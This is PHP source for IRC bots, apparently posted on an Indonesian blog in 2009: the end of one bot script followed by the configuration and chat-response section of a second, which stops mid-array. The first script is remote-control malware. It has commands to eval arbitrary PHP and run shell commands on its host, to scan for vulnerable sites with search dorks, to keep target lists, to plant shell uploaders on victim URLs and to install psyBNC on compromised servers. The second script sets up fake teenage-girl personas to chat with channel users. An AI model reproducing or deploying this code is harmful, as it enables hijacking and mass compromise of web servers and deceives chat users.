elseif ($com[3]==':!quit' && $auth["$dNick"]["status"]=="Admin") {
$msg = str_pesan($com[3],$data);
if (strlen($msg)>3) {
$msg = str_replace(" ","_",$msg);
}
$quitmsg = $quitmsglist[rand(0,count($quitmsglist) - 1)];
fputs($fp, 'QUIT ' . $quitmsg . CRL);
$keluar = 1;
exit;
}
elseif ($com[3]==':!vhost' && $auth["$dNick"]["status"]=="Admin") {
if ($com[4]) { $localhost = $com[4]; }
else { $localhost = 'localhost'; }
$keluar = 0;
fputs($fp, 'QUIT ' . CRL);
}
elseif ($com[3]==':!jump' && $auth["$dNick"]["status"]=="Admin") {
if (empty($com[4])) {
$remotehost = $remotehost2[rand(0,count($remotehost2) - 1)];
}
else { $remotehost = $com[4]; }
$keluar = 0;
fputs($fp, "QUIT JuMpiNG".CRL);
}
elseif ($com[3]==':!help' && !$chan) {
fputs($fp,'PING 12886241614'. CRL);
$msgdelay = 0;
foreach ($helptext as $baris) {
$msgdelay++;
if($msgdelay >= 2) { sleep(2) ; $msgdelay = 0; }
fputs($fp,'PRIVMSG '.$dNick.' :'.$baris. CRL);
}
unset($baris);
unset($msgdelay);
}
elseif ($com[3]==':!upgrade') {
if ($auth["$dNick"]["status"]=="Admin") {
$bhost = $_SERVER['HTTP_HOST'];
$bruri = $_SERVER['REQUEST_URI'];
$soket = fsockopen($bhost,80,$errno,$errstr,10);
fputs($soket,"GET $bruri HTTP/1.0\r\nHost: $bhost\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n");
fclose($soket);
fputs($fp,"NOTICE $dNick :Upgrade Sukses! Exiting..".CRL);
fputs($fp,"QUIT :Completed!".CRL);
exit();
}
}
elseif ($com[3]==':!botload') {
if ($auth["$dNick"]["status"]=="Admin") {
$bhost = $_SERVER['HTTP_HOST'];
$bruri = $_SERVER['REQUEST_URI'];
$soket = fsockopen($bhost,80,$errno,$errstr,10);
fputs($soket,"GET $bruri HTTP/1.0\r\nHost: $bhost\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n");
fclose($soket);
fputs($fp,"NOTICE $dNick :Botload Sukses!".CRL);
}
}
/*** CORE COMMANDS BY FaTaLisTiCz_Fx **/
elseif ($com[3]==':!target' && $auth["$dNick"]["status"]=="Admin") {
if ($com[4]=='clear') {
unset($targetlist);
fputs($fp,'PRIVMSG '.$dNick.' : 4Daftar target dihapus!'. CRL);
}
elseif ($com[4]=='list') {
if (!empty($com[5])) { $sendnick = $com[5]; }
else { $sendnick = $dNick; }
fputs($fp,'PING 12886241614'. CRL);
$msgdelay = 0;
fputs($fp,'PRIVMSG '.$sendnick.' : 12[ Internal Target ('.count($targetlist).') ]'. CRL);
sort($targetlist);
foreach ($targetlist as $baris) {
$msgdelay++;
if($msgdelay >= 2) { sleep(3) ; $msgdelay = 0; }
fputs($fp,'PRIVMSG '.$sendnick.' :'.$baris. CRL);
}
fputs($fp,'PRIVMSG '.$sendnick.' : 12[ The End ]'. CRL);
}
elseif ($com[4]=='ok') {
if (!empty($com[5])) { $sendnick = $com[5]; }
else { $sendnick = $dNick; }
fputs($fp,'PING 12886241614'. CRL);
$msgdelay = 0;
fputs($fp,'PRIVMSG '.$sendnick.' : 12[ Target OK ('.count($targetlist).') ]'. CRL);
sort($targetok);
foreach ($targetok as $baris) {
$msgdelay++;
if($msgdelay >= 2) { sleep(3) ; $msgdelay = 0; }
fputs($fp,'PRIVMSG '.$sendnick.' :'.$baris. CRL);
}
fputs($fp,'PRIVMSG '.$sendnick.' : 12[ The End ]'. CRL);
}
elseif ($com[4]=='total') {
fputs($fp,'PRIVMSG '.$dNick.' : 12Total Target Internal: '.count($targetlist). CRL);
}
elseif ($com[4]=='log') {
if (!empty($com[6])) { $sendnick = $com[6]; }
else { $sendnick = $dNick; }
fputs($fp,'PING 12886241614'. CRL);
$isi = file_get_contents($mytargetlog,FILE_TEXT);
$isi = nl2br($isi);
$isi = str_replace("\n","",$isi);
$isi = str_replace("\r","",$isi);
$targetlog = explode("<br />",$isi);
if ($com[5] == 'show') {
fputs($fp,'PRIVMSG '.$sendnick.' : 12[ Daftar Target ('.count($targetlog).') ]'. CRL);
$msgdelay = 0;
foreach ($targetlog as $baris) {
$msgdelay++;
if($msgdelay >= 2) { sleep(3) ; $msgdelay = 0; }
if ($baris) { fputs($fp,'PRIVMSG '.$sendnick.' :'.$baris. CRL); }
}
fputs($fp,'PRIVMSG '.$sendnick.' : 12[ The End ]'. CRL);
}
else { fputs($fp,'PRIVMSG '.$sendnick.' : 12Total Target 1['.count($targetlog).']'. CRL); }
}
else { fputs($fp,'PRIVMSG '.$dNick.' :Penggunaan: 12 !target <list|total|log|clear> <nick|show>'.CRL); }
unset($baris);
unset($msgdelay);
unset($targetlog);
}
elseif ($com[3]==':!open') {
if (!empty($com[4])) {
$theurl = $com[4];
fputs($fp,'PING 12886241614'. CRL);
$isi = httpquery2($fp,$chan,$theurl);
$isi = strip_tags($isi);
$isi = str_replace("\t","",$isi);
$isi = str_replace("<br>","\n",$isi);
$isi = str_replace("<br />","\n",$isi);
$isi = explode("\n",$isi);
$msgdelay = 0;
$sendnick = $chan;
if ($com[5]=='show') {
pesan($fp,$sendnick,' 12.: Contents of '.$theurl.' ('.count($isi).' baris) :.'.CRL);
foreach ($isi as $baris) {
$msgdelay++;
if($msgdelay >= 2) { sleep(1) ; $msgdelay = 0; }
if ($baris) { pesan($fp,$sendnick,$baris); }
}
pesan($fp,$sendnick,' 12.: End of File :.');
}
else {
pesan($fp,$sendnick,' 12.: '.$theurl.' ('.count($isi).' baris) :.'.CRL);
}
unset($baris);
unset($msgdelay);
unset($targetlog);
}
else { fputs($fp,'PRIVMSG '.$dNick.' :Penggunaan: 12 !open <show> <URL>'.CRL); }
}
elseif ($com[3]==':!raw' && $auth["$dNick"]["status"]=="Admin") {
$psn = strstr($data,":!raw");
$psn = str_replace(":!raw ","",$psn);
fputs($fp,$psn.CRL);
}
elseif ($com[3]==':!eval' && $auth["$dNick"]["status"]=="Admin") {
$psn = strstr($data,":!eval");
$psn = str_replace(":!eval ","",$psn);
eval($psn);
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : 4Eval: 1 '.$psn.CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' : 4Eval: 1 '.$psn.CRL); }
}
elseif ($com[3]==":!cmd" && $auth["$dNick"]["status"]=="Admin") {
$psn = strstr($data,":!cmd");
$psn = str_replace(":!cmd ","",$psn);
fputs($fp,'PING 12886241614'. CRL);
$isi = nl2br(ex($psn));
$isi = str_replace("\n","",$isi);
$isi = str_replace("\r","",$isi);
$isi = explode("<br />",$isi);
$msgdelay = 0;
foreach ($isi as $v) {
$msgdelay++;
if($msgdelay >= 2) { sleep(3) ; $msgdelay = 0; }
fputs($fp,'PRIVMSG '.$dNick.' : '.$v.CRL);
}
unset($isi); unset($msgdelay);
}
elseif ($com[3]==':!debug' && $auth["$dNick"]["status"]=="Admin") {
if ($com[4] == 'on') { $debugmode = 1; }
elseif ($com[4] == 'off') { $debugmode = 0; }
fputs($fp,'NOTICE '.$dNick.' : 12Debugging: 1 '.$debugmode.CRL);
}
elseif ($com[3]==':!mychan' && $auth["$dNick"]["status"]=="Admin") {
if ($com[4]) {
$changue = strtolower($com[4]);
fputs($fp, 'JOIN ' .$changue.CRL);
}
fputs($fp,'NOTICE '.$dNick.' : 12[Channel Gue] 1 '.$changue.CRL);
}
/*** Master & User Commands ***/
elseif ($com[3]==':!status') {
$statusmsg = ' 1Â« Status Â» 12New ['.$target["new"].'] 3Exist ['.$target["exist"].'] 4 Spam ['.$target["ignored"].'] 7 Total ['.$target["found"].']';
if ($spyscan) { $statusmsg .= ' 13 Scan [On]'; }
else { $statusmsg .= ' 13 Scan [Off]'; }
fputs($fp,'PRIVMSG '.$chan.' :'.$statusmsg.CRL);
}
elseif ($com[3]==':!start') {
$spyscan = TRUE;
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : ACTION mulai nyari target nih.. '. CRL); }
else { fputs($fp,'NOTICE '.$dNick.' :Oke BoZZ, gue cari deh' . CRL); }
}
elseif ($com[3]==':!stop') {
$spyscan = FALSE;
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : ACTION berhenti nyari target ach.. '. CRL); }
else { fputs($fp,'NOTICE '.$dNick.' :Oke BoZZ, gue berhenti nyari'. CRL); }
}
elseif ($com[3]==':!scan') {
if ($com[4]=='add' && $com[5]) {
$msg = str_pesan($com[3].' '.$com[4],$data);
if (!in_array($msg,$scanlist)) {
$scanlist[] = $msg;
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :Seep..! 12 '.$msg.' ditambahkan!'.CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' :Seep..! 12 '.$msg.' ditambahkan!'.CRL); }
}
else { fputs($fp,'NOTICE '.$dNick.' : 12 '.$msg.' sudah ada!'.CRL); }
}
elseif ($com[4]=='del' && $com[5] && $auth["$dNick"]["status"]!="User") {
$msg = str_pesan($com[3].' '.$com[4],$data);
if (in_array($msg,$scanlist)) {
$daftar = join(' ',$scanlist);
unset($scanlist);
$daftar = str_replace($msg,'',$daftar);
$scanlist = explode(' ',$daftar);
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :OKey..! 12 '.$msg.' dihapus!'.CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' :OKey..! 12 '.$msg.' dihapus!'.CRL); }
}
unset($daftar);
}
elseif ($com[4]=='list') {
sort($scanlist);
$daftar = join(" | ",$scanlist);
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : 4 D 1aftar 4 S 1can: 14 '.$daftar.CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' : 4 D 1aftar 4 S 1can: 14 '.$daftar.CRL); }
unset($daftar);
}
else {
$bugdork = str_pesan($com[3],$data);
$arrbug = explode(' ',$bugdork);
$thebug = $arrbug[0];
$thedork = str_replace($thebug,'',$bugdork);
if ($com[5]) {
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : ACTION nyoba scanning 4 Bug: 14 '.$thebug.' 4 Dork: 14 '.$thedork.' '. CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' :Scanning 4 Bug: 14 '.$thebug.' 4 Dork: 14 '.$thedork.' '. CRL); }
foreach ($channel as $v) {
fputs($fp,'PRIVMSG '.$v.' :!scan '.$bugdork. CRL);
}
}
else {
fputs($fp,'PRIVMSG '.$dNick.' :Penggunaan: 4 !scan <bug> <dork> 1atau 4!scan <add|del|list> <text>'. CRL);
}
}
}
elseif ($com[3]==':!ganti' && $auth["$dNick"]["status"]!="User") {
$msg = str_pesan($com[3],$data);
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : ACTION ganti '.$msg.' deh '. CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' :'.$msg.' diganti.'. CRL); }
$gantilist[] = $msg;
}
elseif ($com[3]==':!delganti' && $auth["$dNick"]["status"]!="User") {
$msg = str_pesan($com[3],$data);
if (in_array($msg,$gantilist)) {
$daftar = join(' ',$gantilist);
unset($gantilist);
$daftar = str_replace($msg,'',$daftar);
$gantilist = explode(' ',$daftar);
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :OKey..! 12 '.$msg.' dihapus!'.CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' :OKey..! 12 '.$msg.' dihapus!'.CRL); }
}
unset($daftar);
}
elseif ($com[3]==':!gantilist') {
fputs($fp,'PING 12886241614'. CRL);
$msgdelay = 0;
fputs($fp,'PRIVMSG '.$dNick.' : 12.: Daftar Injector :.'. CRL);
sort($gantilist);
foreach ($gantilist as $baris) {
$msgdelay++;
if($msgdelay >= 2) { sleep(3) ; $msgdelay = 0; }
fputs($fp,'PRIVMSG '.$dNick.' :'.$baris. CRL);
}
fputs($fp,'PRIVMSG '.$dNick.' : 12.: The End :.'. CRL);
unset($baris);
unset($msgdelay);
}
elseif ($com[3]==':!ignore') {
$ignore = str_pesan($com[3],$data);
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :Oke bozZ!! 4 '.$ignore.' ga ditampilkan lagi deh..'. CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' :Oke bozZ!! 4 '.$ignore.' ga ditampilkan lagi deh..'. CRL); }
$ignorelist[] = $ignore;
}
elseif ($com[3]==':!delignore' && $auth["$dNick"]["status"]!="User") {
$msg = str_pesan($com[3],$data);
if (in_array($msg,$ignorelist)) {
$daftar = join(' ',$ignorelist);
unset($ignorelist);
$daftar = str_replace($msg,'',$daftar);
$ignorelist = explode(' ',$daftar);
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' :OKey..! 12 '.$msg.' dihapus!'.CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' :OKey..! 12 '.$msg.' dihapus!'.CRL); }
}
unset($daftar);
}
elseif ($com[3]==':!ignorelist') {
sort($ignorelist);
$daftar = join(" | ",$ignorelist);
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : 4 D 1aftar 4 I 1gnore: 14 '.$daftar.CRL); }
else { fputs($fp,'PRIVMSG'.$dNick.' : 4 D 1aftar 4 I 1gnore: 14 '.$daftar.CRL); }
unset($daftar);
}
elseif ($com[3]==':!tanam' && $auth["$dNick"]["status"]!="User") {
$testurl = strstr($data,":!tanam");
$testurl = str_replace(":!tanam ","",$testurl);
$theurl = $testurl.$myshelluploader;
$isi = implode('', @file($theurl));
$posisi = strpos($isi,"Saved! File:");
$isi = substr($isi,$posisi);
if ($posisi === FALSE) {
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : 4[Error] 1 Akses ditolak!'.CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' : 4Error: 1 Akses ditolak!'.CRL); }
}
else {
$isi = str_replace("Saved! File:"," 12[Sukses!] 1 Dir: ",$isi);
fputs($fp,'PRIVMSG '.$dNick.' : 12 U 1ploaded: 14 '.$testurl.CRL);
fputs($fp,'PRIVMSG '.$dNick.' :'.$isi.CRL);
}
unset($isi);
}
elseif ($com[3]==':!psy' && $auth["$dNick"]["status"]!="User") {
$testurl = str_pesan($com[3],$data);
$theurl = $testurl.$mypsyinstaller;
$isi = httpquery2($fp,$chan,$theurl);
$isi = strip_tags($isi);
$posisi = strpos($isi,"Executing");
$isi = substr($isi,$posisi);
if ($posisi === TRUE) {
if ($chan) { fputs($fp,'PRIVMSG '.$chan.' : 4[Error] 1 Ga bisa install psyBNC!'.CRL); }
else { fputs($fp,'PRIVMSG '.$dNick.' : 4Error: 1 Ga bisa install psyBNC!'.CRL); }
}
else {
fputs($fp,'PRIVMSG '.$dNick.' : 12 psyBNC 1 installed on: 14 '.$testurl.CRL);
}
unset($isi);
}
}
/*** End of Script ***/
}
}
}
}
elseif (substr($data,0,4) == 'PING') {
fputs($fp,'PONG '.substr($data,5).CRL);
$statusdelay++;
if ($statusdelay == $statustime ) {
$statusmsg = ' 1Â« Status Â» 12New ['.$target["new"].'] 3Exist ['.$target["exist"].'] 4 Spam ['.$target["ignored"].'] 7 Total ['.$target["found"].']';
if ($spyscan) { $statusmsg .= ' 13 Scan [On]'; }
else { $statusmsg .= ' 13 Scan [Off]'; }
fputs($fp,'PRIVMSG '.$changue.' :'.$statusmsg.CRL);
$statusdelay = 0;
}
}
}
}
fclose($fp);
} while ($keluar == 0);

/* FUNCTIONS */
function kirim($sock,$pesan) { fputs($sock,$pesan.CRL); }
function nick($sock,$nick) { kirim($sock,"NICK $nick"); }
function pesan($sock,$to,$pesan) { kirim($sock,"PRIVMSG $to :$pesan"); }
function str_pesan($com,$data) {
$msg = strstr($data,$com);
$msg = str_replace($com.' ','',$msg);
return $msg;
}
function httpquery($query){
$isi = implode('', @file($query));
return $isi;
}
function httpquery2($sock,$to,$url){
$bhost = parse_url($url, PHP_URL_HOST);
$bruri = parse_url($url, PHP_URL_PATH).parse_url($url, PHP_URL_QUERY );
$bport = 80;
$soket = fsockopen($bhost,$bport,$errno,$errstr,10);
fputs($soket,"GET $bruri HTTP/1.0\r\nHost: $bhost\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n");
while (!feof($soket)) {
$response .= fgets($soket, 512);
}
fclose($soket);
pesan($sock,$to,"Host: $bhost - Port: $bport - Request: $bruri");
return $response;
}
function googling($sock,$to,$qu){
$qu=urlencode($qu);
//$respon=httpquery("http://localhost/search/google.co.id.htm");
$respon=httpquery("http://www.google.co.id/search?q=".$qu);
$pattern = '#<h2 class=r><a href="([^"]*)" class=l onmousedown="([^"]*)">(([^<]|<[^a][^ ])*)</a></h2>#i';
$count = preg_match_all($pattern, $respon, $matches, PREG_SET_ORDER);
if ($count == 0) {
pesan($sock,$to,' 12 G oogle: Tak ada hasil.');
return;
}
$numResults = ($count < 3) ? $count : 5;
for ($i = 0;$i < $numResults;$i++){
pesan($sock,$to,' 4G 1oogle: 12 '.urldecode($matches[$i][1]).' - 14 '.strip_tags($matches[$i][3]));
sleep(1);
}
}
function ex($cfe) {
$res = '';
if (!empty($cfe)) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
} else { $res = "Ex() Disabled!"; }
}
return $res;
}

?>

Script Bot Php

2009-10-01T06:40:00.001-07:00

<?php
/***********************************
/* jatim community *
/* recording april 2009 *
/* #jatimcom @ irc.allnetwork.org *
/* jatim.community@gmail.com *
/***********************************
/*
/* Perhatian:
/* Joinkan hanya satu Bot dalam satu channel untuk menghindari terjadinya saling sapa antar bot.
/*
/* Perintah Dasar:
/* auth <password> - Untuk otorisasi
/* !join [#channel] - Join channel
/* !part [#channel] - Part channel
/* !msg <nick/#channel> - Mengirim pesan ke channel atau ke nick
/* !botnick [nick] [password] - Mengganti nick bot
/* !jump [server] - Mengganti server bot
/* !help - Melihat daftar perintah
/* !ngomong - Memperbolehkan bot untuk berbicara di semua channel
/* !diam - Melarang bot untuk berbicara di semua channel
*/

function hajar() {

$channels = '#jatimcom'; //Pisahkan tiap channel dengan spasi
$admin = 'jatimcom';
$bot_password = 'jatimcom'; //Password untuk auth bot
$ngomong = TRUE; //TRUE, Ngomong. FLASE, Diem.
$autowelcome = TRUE; //TRUE, AutoWelcome On. FLASE, AutoWelcome off.
$versi = "jatimcom";
$showresponse = 0; //1, Nampilin respon dari server irc
$localtest = 0; //1, Coba di localhost. 0, connect ke server irc

//Nick Bot
$nicklist = array("cew-bete","gril-of-dolly","Ce_BisPaK","Cew-matre","ce-nduts");
$identify = "password"; //Password Nick Bot
//Ident Bot
$identlist = array("jatimcom",);
//Realname Bot
$namabot = array("cerli","afira","ivone","nisa","intan");
//Asl Bot
$aslbot = array("16f surabaya","17f madiun","18f madura","19f balikpapan","16f kediri","16f jembutara","19f malang");
//Pesan Quit
$quitmsglist = array(" 0,12«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ");

/*** IDENTITAS BOT ***/
$namaku = $namabot[rand(0,count($namabot) - 1)];
$aslku = $aslbot[rand(0,count($aslbot) - 1)];

/*** Server IRC ***/
if ($localtest == 1) { $remotehost2 = array("localhost"); }
else {
$remotehost2 = array(
"irc.allnetwork.org",
);
}
$port = "6667";

/*** AUTO WELCOME ***/
$nickwb = array(
array("cimpli","Welcome Bozzzzz"),
array("GaaR4","Sugeng Rawuh Juragan!!!!"),
);
$wbmsg = array(
"webee <nick> :-D",
"Selamat Datang <nick>",
"Wew.. Xeaxeaxea.. <nick> pa kabar?",
"Baru OL ya <nick>?",
"Met datang di <chan>, <nick>",
"Wedew.. <nick> baru bangun tidur y? Cuci muka dulu sana..",
"Hai <nick>!",
"Wah.. Bozz <nick> dateng nih..",
"<nick> dah mandi blon?",
"baru join ya, <nick>?",
"<nick>, ada yg nyariin tuh..banyak utang ya?",
"<nick>, td kemana aja?",
"ngpn aja barusan <nick>?",
"<nick> dah makan blom?",
"hmm.. <nick> udah mulai beraksi ne kayaknya",
"kamu baik deh <nick>",
"<nick> udah siyap2 dg aksinya..",
"<nick>, kamu cuakep deh..",
"aku seneng liat <nick>.. orgnya ramah, baik, cakep lagi.",
"nicknya bagus loh <nick>..",
"<nick>, senyummu bikin hatiku berdebar..",
"wow.. <nick> ini salah satu juragan warnet neh..",
"asyiiik.. master <nick> dateng..",
"awas, <nick> adalah hacker yg pernah jatuh cinta sama cracker",
"hati2, <nick> ini sempet bikin drop chanel madiun neh",
"<nick>, wb selamat datang",
"wah.. dimana-mana ada <nick>",
"gmn kabarnya <nick>?",
"dah maem blom <nick>?",
"Asyiik.. si <nick> dateng",
"<nick>, kenalin gw $namaku",
"blom bobo toh <nick>?",
"Btw, <nick> ini adalah Carder terkaya didunia..",
"<nick> ini pernah menyaingi Kevin Midnick dlm soal hacking",
"Waduwh, <nick> kok baru join?",
"Ada yg bilang <nick> jago hacking, benarkah? ajarin domz..",
"wah.. <nick> td dicari locop tuh, katanya abis ngeflood..",
"Tolong donk <nick>.. ga bisa dibuka nih..",
"tolooong.. <nick> nyari aku sampai ke <chan>..",
"Wedew.. <nick> ini nyang suka nyebarin Virus rupanya..",
"Leh nalan ga <nick>?",
"Wow.. <nick> ini yg masuk infotainment kemaren yah?",
"<nick>, asl donk..",
"<nick>, nm km siapa seh?",
"chan <chan> jd rame klo ada si <nick>",
"kpn neh ketemuannya <nick>?",
"maaf ya <nick>, aku td ga sengaja ngintip kamu..",
"btw, <nick> udah kul apa masih skul?",
"wb <nick>, km anak mana neh?",
"tmn2 semua dah kenal <nick>, kan?",
"siapa sih yg g knal ma <nick>?",
"WoW <nick>, kok dah lama ga OL?",
"udah nyuci piring td <nick>?",
"<nick>, ada yg lebih bagus dari HIT ga?",
"ngapain aja di pasar tadi <nick>?",
"kayaknya km blom bruntung deh <nick>",
"<nick> blom ngantuk y?",
"weleh2, <nick> udah siap nembak ya..",
"hai boss <nick>, bagi2 donk pulsanya! kikikiki..",
"leh nalan ga <nick>?",
"hihi,, <nick> lucu deh.. wkwkwkwk.. ",
"hayyah,, baru OL ya <nick>? xeaxeaexa",
);
$jawabsapa = array(
"ada apa <nick> cayaank?",
"iya <nick> sayang",
"yup <nick>!",
"Hadaah.. si <nick> manggil mulu ich..",
"males ah <nick> ",
"nanti aja y <nick>",
"bentar dulu <nick>",
"ichh <nick> endel banget siy..",
"ga nich <nick>",
"ga jadi deh <nick>",
"Walaaah.. <nick>, apaah apaah?",
"hmm..<nick> mo tau ajah",
"Waxz <nick> gagagagaga",
"capee deh.. <nick>",
"apaah apaah <nick>?",
"sebel ah <nick>",
"<nick> jgn manggil2 terus donk..",
"$namaku cape dipanggil mulu <nick>",
"Eaxeaxea.. <nick> kangen yach?",
"Walah.. kikiki.. <nick> ini cerewet banget..",
"Hadeehh <nick>.. ~_~!",
);

/** AUTO RESPONSE ***/
/*** Mood Lists ***/
$rmales = "lg males nih <nick>..";
$rmau = "aku mau koq <nick>!";
$rsanggup = "bisa kok <nick>";
$rboleh = "boleh kok <nick>";
$rsetuju = "iya <nick>";
$rthx = "makacih <nick>..";
$rbingung = "hmm..$namaku ga tau jg nih <nick>..";
$rgenit = "ich.. <nick> genit";

$respon_umum = array(
array("sepi","iya nih <nick> sepi bangetz.."),
array("brb ","ok <nick>"),
array("tha ","tha tha <nick>.."),
array("semua ","hi <nick>.."),
array("traktir","<nick>, aku jg ditraktir donk.. kikikiki"),
array("lapar","lho..? <nick> blom makan y?"),
array("pamit","uke dukeh <nick>, ati2 y.. tataw.."),
array("pamet","oke <nick>, ati2 y.. tataw.."),
array("pamed","seep <nick>, ati2 y.. thaaa"),
array("ngantuk","<nick> dah ngantuk y? tidur sana gih"),
array("bobo ","oke deh <nick>, mimpiin aku y"),
array("bubu ","silahkan <nick>, moga mimpi indah y"),
array("assalam","Wa'alaikumsalam <nick>"),
array("pagi ","pagi <nick>"),
array("sore ","sore <nick>"),
array("malam ","malam <nick>"),
array("siang ","siang <nick>"),
array("mandi ","aku ikut donk <nick>..gagaga.."),
array("nunggu ","ga nunggu kok <nick>"),
array("hayah","hayah?? napa <nick>?"),
array("hadeh","hadeh jg dah <nick>.. ghaghagha.."),
array("hadah","hadah? hadiah kalee..gagaga.."),
array("!ping","pang ping pung peng pong <nick>!"),
);

$respon_pesan = array(
//Sapaan
array("hai ","hai jg <nick>"),
array("halo ","halo jg <nick>"),
array("alow","alow jg <nick>"),
array("kabar","baik, km gmn <nick>?"),
array("kbr","baik, km gmn <nick>?"),
array("webe","$rthx"),
array("wb","$rthx"),
array("tq","sama2 <nick>"),
array("makasi","sama2 <nick> :)"),
array("makaci","sama2 <nick>"),
array("nalin","hai.. aku $namaku"),
array("nalkan","hai.. aku $namaku"),
array("nalan","boleh koq <nick>.. u 1st"),
//Identitas
array("asl ","<nick>, aku $aslku"),
array("umur","<nick>, klo aq $aslku"),
array("nama","<nick>, aku $namaku .. u?"),
array("skul ","yup <nick>, aku skul."),
array(" kul ","<nick>, ga kul neh.."),
array("alamat","weleeehh.. rahasia donk <nick>.."),
array("nak mana","aQ $aslku <nick>"),
array(" tinggal ","<nick>, aku di rumah"),
array("cowo","blom, klo <nick> gmn?"),
array("pcr","blom, hihi.. klo <nick>?"),
array("pacaran","emangnya <nick> mau y pacaran ma $namaku?"),
array("pacar ","blom, <nick> ndiri gmn?"),
//Ajakan
array("pv","$rmales"),
array("ngomong","ngomong ttg apa <nick>?"),
array("curhat","mangnya mo curhat masalah apa <nick>?"),
array("nikah ","nikah? ich.. boro2 nikah ma <nick>"),
array("kawin ","kawin?? ich.. ogaaaah.."),
array("kencan","boleh <nick>, kpn neh kencannya?"),
array("besok","boleh <nick>.."),
array("mau ","$rmau"),
//Tuduhan
array("bohong","bohong? ngpn Q bohong.. <nick> kali yg bohong..kekeke"),
array("boong","boong? <nick> tuh yg boong.."),
array("males","yaa.. lagi males aja nih <nick>"),
array("lain","yg lain gmn <nick>?"),
array("laen","yg laen gmn <nick>?"),
array("GR ","<nick> tuh yg ke-GR-an.."),
array("nyambung","<nick>nya aja yg ga nyambung.. xixi"),
array("bot","bot itu gmn? kaya <nick> ntu ya?"),
array(" aneh","aneh gmn <nick>?"),
array("nipu","idiiich..siapa jg yg nipu <nick>.."),
//Kegiatan
array("mandi","klo aku udah mandi <nick>"),
array("makan","udah koq <nick>, klo <nick>?"),
array("maem","udah koq <nick>, klo <nick>?"),
array("mkn","udah neh, klo <nick>?"),
array("belanja","belanja dmn <nick>?"),
array("bobo ","$rmales"),
array("tidur ","$rmales"),
array("ngantuk ","blom neh <nick>.. xixi"),
array("ngpn","lg chat aja neh <nick>"),
array("ngapa","lg chat aja neh <nick>"),
//Pertanyaan
array("salam kenal ","salam kenal jg <nick>"),
array("kenal ","$namaku ga kenal tuh.. xixi"),
array("tau ","$namaku ga tau tuh.. xixi"),
array("napa","aq ga knp2 koq <nick>"),
array("knp","aq ga knp2 koq <nick>"),
array("kemana","disini aja tuh <nick>"),
array("lupa","aq ga lupa koq <nick>"),
array(" mana ","$rbingung"),
array("gimana","hmm.. gimana yach ? kikikiki.."),
//Persetujuan
array("maaf","$rsetuju"),
//Mood
array("cinta","ih.. <nick> gombal deh.."),
array("love","I love u too, <nick>"),
array("jodoh","jodoh kalee <nick>"),
array("kangen","aku jg kangen km, <nick>"),
array("muach","muach <nick>.."),
array("uaach","idih, <nick> ga malu apa nyium2 aku didepan umum.."),
array("kiss","mo permen kiss ya <nick>?"),
array("cium","$rgenit"),
array("eluk ","$rgenit"),
array("elonin","jgn donk <nick>, kan malu.."),
//Additional
array("hihihi","kok <nick> ngetawain aku seh?"),
array("xixi","ngetawain aku y <nick>?"),
array("slap","auw <nick>! atit tau.."),
array("pokes","auw <nick>! atit tauuukk..."),
array("masuk","ih <nick> ngerezz"),
);

//Special Words
$badwordlist = array("jancu","janco","pantek","pepek","kontol","anjrit","anjink",
"fuck","kentot","ngentot","taek","kelamin","ngesex"," ml ","anjenk","anjink",
"jajuk","torok"," keat ","dobol ");
$pujianlist = array("cantik","baik","baek","cakep","ramah","pengertian","hebat",
"bagus","indah","jujur");
$cacianlist = array("bego","jelek","jelex","gendeng","edan","gilo","gila",
"sinting","dudul","dodol","jahat","goblok","geblek","sialan"," bau","stres");

//Responses to Special Words
$rjorok = array(
"om..! <nick> ngomong jorok nih.. kick dunk pliss!",
"guys..! <nick> ini ga sopan banget.. kick dunk pliss!",
"hadah.. <nick> ga sopan ikz"
);
$rcacian = array(
"idih, <nick> tuch yg <kata>",
"<kata>? bukanya <nick> tuh yg <kata>?",
"gw mmg <kata>, tp <nick> lebih <kata> lagi",
"gw ga <kata> tuh, yg <kata> itu <nick> kan?"
);
$rpujian = array(
"makasih <nick>.. kamu jg koq",
"<nick> baik deh..",
"ga kok <nick>.. km lebih <kata>",
"<kata>? hihi.. <nick> bisa aja",
"tengkyu <nick>.. aduh $namaku g punya uang kecil nih.."
);
//Flood Protection Setting
$maxkar = 350; //Maksimal karakter di channel
$rflood = "Aduh!! <nick> ngeflood nih..";

//Help
$judul = ' 0,12«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ';
$helptext = array(
' 0,4«®¤[ 14J 15A 0TIM 15C 15O 14M 0]¤®» ',
"-",
" 12auth <password> - Login ke bot",
" 12deauth - Logout dari bot",
" 12pass <password> - Mengeset password bot",
" 12chgpass <passlama> <passbaru> - Mengganti password bot",
" 12adduser <nick> <master/user> - Menambah master/user bot",
